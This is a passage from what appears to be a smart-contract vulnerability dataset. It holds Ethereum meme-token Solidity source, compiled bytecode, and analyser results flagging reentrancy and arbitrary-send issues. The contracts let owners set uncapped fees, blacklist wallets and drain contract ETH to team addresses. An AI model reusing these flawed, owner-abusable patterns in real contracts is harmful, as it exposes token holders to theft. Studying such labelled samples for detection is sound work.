sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fb578063c3c8cd801461031b578063c9567bf914610330578063d543dbeb14610345578063dd62ed3e1461036557600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102db57600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a53686962612043616e647960a81b60208201525b60405161015691906119f9565b60405180910390f35b34801561016b57600080fd5b5061017f61017a36600461188a565b6103ab565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d036600461184a565b6103c2565b3480156101e157600080fd5b506101f56101f03660046117da565b61042b565b005b34801561020357600080fd5b5060405160098152602001610156565b34801561021f57600080fd5b506101f561022e36600461197c565b61047f565b34801561023f57600080fd5b506101f56104c7565b34801561025457600080fd5b506101a76102633660046117da565b6104f4565b34801561027457600080fd5b506101f5610516565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b157600080fd5b5060408051808201909152600d81526c14d212509050d053883c27e36b609a1b6020820152610149565b3480156102e757600080fd5b5061017f6102f636600461188a565b61058a565b34801561030757600080fd5b506101f56103163660046118b5565b610597565b34801561032757600080fd5b506101f561063b565b34801561033c57600080fd5b506101f5610671565b34801561035157600080fd5b506101f56103603660046119b4565b610a34565b34801561037157600080fd5b506101a7610380366004611812565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b8338484610b07565b5060015b92915050565b60006103cf848484610c2b565b610421843361041c85604051806060016040528060288152602001611bca602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103d565b610b07565b5060019392505050565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590611a4c565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a95760405162461bcd60e51b815260040161045590611a4c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e757600080fd5b476104f181611077565b50565b6001600160a01b0381166000908152600260205260408120546103bc906110fc565b6000546001600160a01b031633146105405760405162461bcd60e51b815260040161045590611a4c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b8338484610c2b565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161045590611a4c565b60005b8151811015610637576001600a60008484815181106105f357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062f81611b5f565b9150506105c4565b5050565b600c546001600160a01b0316336001600160a01b03161461065b57600080fd5b6000610666306104f4565b90506104f181611180565b6000546001600160a01b0316331461069b5760405162461bcd60e51b815260040161045590611a4c565b600f54600160a01b900460ff16156106f55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610455565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107323082683635c9adc5dea00000610b07565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076b57600080fd5b505afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a391906117f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082391906117f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a391906117f6565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d3816104f4565b6000806108e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094b57600080fd5b505af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098491906119cc565b5050600f8054673afb087b8769000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106379190611998565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161045590611a4c565b60008111610aae5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610455565b610acc6064610ac6683635c9adc5dea0000084611325565b906113a4565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610455565b6001600160a01b038216610bca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610455565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610455565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610455565b60008111610d535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610455565b6000546001600160a01b03848116911614801590610d7f57506000546001600160a01b03838116911614155b15610fe057600f54600160b81b900460ff1615610e66576001600160a01b0383163014801590610db857506001600160a01b0382163014155b8015610dd25750600e546001600160a01b03848116911614155b8015610dec5750600e546001600160a01b03838116911614155b15610e6657600e546001600160a01b0316336001600160a01b03161480610e265750600f546001600160a01b0316336001600160a01b0316145b610e665760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610455565b601054811115610e7557600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb757506001600160a01b0382166000908152600a602052604090205460ff16155b610ec057600080fd5b600f546001600160a01b038481169116148015610eeb5750600e546001600160a01b03838116911614155b8015610f1057506001600160a01b03821660009081526005602052604090205460ff16155b8015610f255750600f54600160b81b900460ff165b15610f73576001600160a01b0382166000908152600b60205260409020544211610f4e57600080fd5b610f5942603c611af1565b6001600160a01b0383166000908152600b60205260409020555b6000610f7e306104f4565b600f54909150600160a81b900460ff16158015610fa95750600f546001600160a01b03858116911614155b8015610fbe5750600f54600160b01b900460ff165b15610fde57610fcc81611180565b478015610fdc57610fdc47611077565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102257506001600160a01b03831660009081526005602052604090205460ff165b1561102b575060005b611037848484846113e6565b50505050565b600081848411156110615760405162461bcd60e51b815260040161045591906119f9565b50600061106e8486611b48565b95945050505050565b600c546001600160a01b03166108fc6110918360026113a4565b6040518115909202916000818181858888f193505050501580156110b9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d48360026113a4565b6040518115909202916000818181858888f19350505050158015610637573d6000803e3d6000fd5b60006006548211156111635760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610455565b600061116d611412565b905061117983826113a4565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122a57600080fd5b505afa15801561123e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126291906117f6565b8160018151811061128357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a99130911684610b07565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e2908590600090869030904290600401611a81565b600060405180830381600087803b1580156112fc57600080fd5b505af1158015611310573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611334575060006103bc565b60006113408385611b29565b90508261134d8583611b09565b146111795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b600061117983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611435565b806113f3576113f3611463565b6113fe848484611486565b80611037576110376005600855600a600955565b600080600061141f61157d565b909250905061142e82826113a4565b9250505090565b600081836114565760405162461bcd60e51b815260040161045591906119f9565b50600061106e8486611b09565b6008541580156114735750600954155b1561147a57565b60006008819055600955565b600080600080600080611498876115bf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ca908761161c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f9908661165e565b6001600160a01b03891660009081526002602052604090205561151b816116bd565b6115258483611707565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159982826113a4565b8210156115b657505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115dc8a60085460095461172b565b92509250925060006115ec611412565b905060008060006115ff8e87878761177a565b919e509c509a509598509396509194505050505091939550919395565b600061117983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103d565b60008061166b8385611af1565b9050838110156111795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b60006116c7611412565b905060006116d58383611325565b306000908152600260205260409020549091506116f2908261165e565b30600090815260026020526040902055505050565b600654611714908361161c565b600655600754611724908261165e565b6007555050565b600080808061173f6064610ac68989611325565b905060006117526064610ac68a89611325565b9050600061176a826117648b8661161c565b9061161c565b9992985090965090945050505050565b60008080806117898886611325565b905060006117978887611325565b905060006117a58888611325565b905060006117b782611764868661161c565b939b939a50919850919650505050505050565b80356117d581611ba6565b919050565b6000602082840312156117eb578081fd5b813561117981611ba6565b600060208284031215611807578081fd5b815161117981611ba6565b60008060408385031215611824578081fd5b823561182f81611ba6565b9150602083013561183f81611ba6565b809150509250929050565b60008060006060848603121561185e578081fd5b833561186981611ba6565b9250602084013561187981611ba6565b929592945050506040919091013590565b6000806040838503121561189c578182fd5b82356118a781611ba6565b946020939093013593505050565b600060208083850312156118c7578182fd5b823567ffffffffffffffff808211156118de578384fd5b818501915085601f8301126118f1578384fd5b81358181111561190357611903611b90565b8060051b604051601f19603f8301168101818110858211171561192857611928611b90565b604052828152858101935084860182860187018a1015611946578788fd5b8795505b8386101561196f5761195b816117ca565b85526001959095019493860193860161194a565b5098975050505050505050565b60006020828403121561198d578081fd5b813561117981611bbb565b6000602082840312156119a9578081fd5b815161117981611bbb565b6000602082840312156119c5578081fd5b5035919050565b6000806000606084860312156119e0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2557858101830151858201604001528201611a09565b81811115611a365783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad05784516001600160a01b031683529383019391830191600101611aab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0457611b04611b7a565b500190565b600082611b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4357611b43611b7a565b500290565b600082821015611b5a57611b5a611b7a565b500390565b6000600019821415611b7357611b73611b7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f157600080fd5b80151581146104f157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206777239d0a339dd6763f5f19a3644e559b711486934e826fe1c893c6090af00f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,607
0xa2E4890c39601421404740D89275B5a8DC89296A
/* // Telegram: https://t.me/nooktoken // Website: https://nooktoken.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NookToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Nook Token"; string private constant _symbol = "NOOK"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _distroFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _distroFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0xB95CE39f109eeFd183b55B7a3Dd4D128b9B1562F); address payable private _devAddress = payable(0x2AA6710f40985a0697FBd59b71F9249e5278030C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = 3000000 * 10**9; //3% of total supply uint256 public _swapTokensAtAmount = 10000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.div(8).mul(7)); _devAddress.transfer(amount.div(8)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104b2578063c3c8cd80146104e2578063dd62ed3e146104f7578063ea1644d51461053d57600080fd5b806398a5c31514610452578063a2a957bb14610472578063a9059cbb1461049257600080fd5b80638da5cb5b116100c65780638da5cb5b146103d15780638f70ccf7146103ef5780638f9a55c01461040f57806395d89b411461042557600080fd5b8063715018a61461038657806374010ece1461039b5780637d1db4a5146103bb57600080fd5b80632fd689e3116101595780636b999053116101335780636b999053146103115780636d8aa8f8146103315780636fc3eaec1461035157806370a082311461036657600080fd5b80632fd689e3146102bf578063313ce567146102d557806349bd5a5e146102f157600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b3146102125780631694505e1461024257806318160ddd1461027a57806323b872dd1461029f57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c6366004611752565b61055d565b005b3480156101d957600080fd5b5060408051808201909152600a8152692737b7b5902a37b5b2b760b11b60208201525b604051610209919061188b565b60405180910390f35b34801561021e57600080fd5b5061023261022d366004611726565b6105fc565b6040519015158152602001610209565b34801561024e57600080fd5b50601454610262906001600160a01b031681565b6040516001600160a01b039091168152602001610209565b34801561028657600080fd5b5067016345785d8a00005b604051908152602001610209565b3480156102ab57600080fd5b506102326102ba3660046116e5565b610613565b3480156102cb57600080fd5b5061029160185481565b3480156102e157600080fd5b5060405160098152602001610209565b3480156102fd57600080fd5b50601554610262906001600160a01b031681565b34801561031d57600080fd5b506101cb61032c366004611672565b61067c565b34801561033d57600080fd5b506101cb61034c36600461181e565b6106c7565b34801561035d57600080fd5b506101cb61070f565b34801561037257600080fd5b50610291610381366004611672565b610746565b34801561039257600080fd5b506101cb610768565b3480156103a757600080fd5b506101cb6103b6366004611840565b6107dc565b3480156103c757600080fd5b5061029160165481565b3480156103dd57600080fd5b506000546001600160a01b0316610262565b3480156103fb57600080fd5b506101cb61040a36600461181e565b6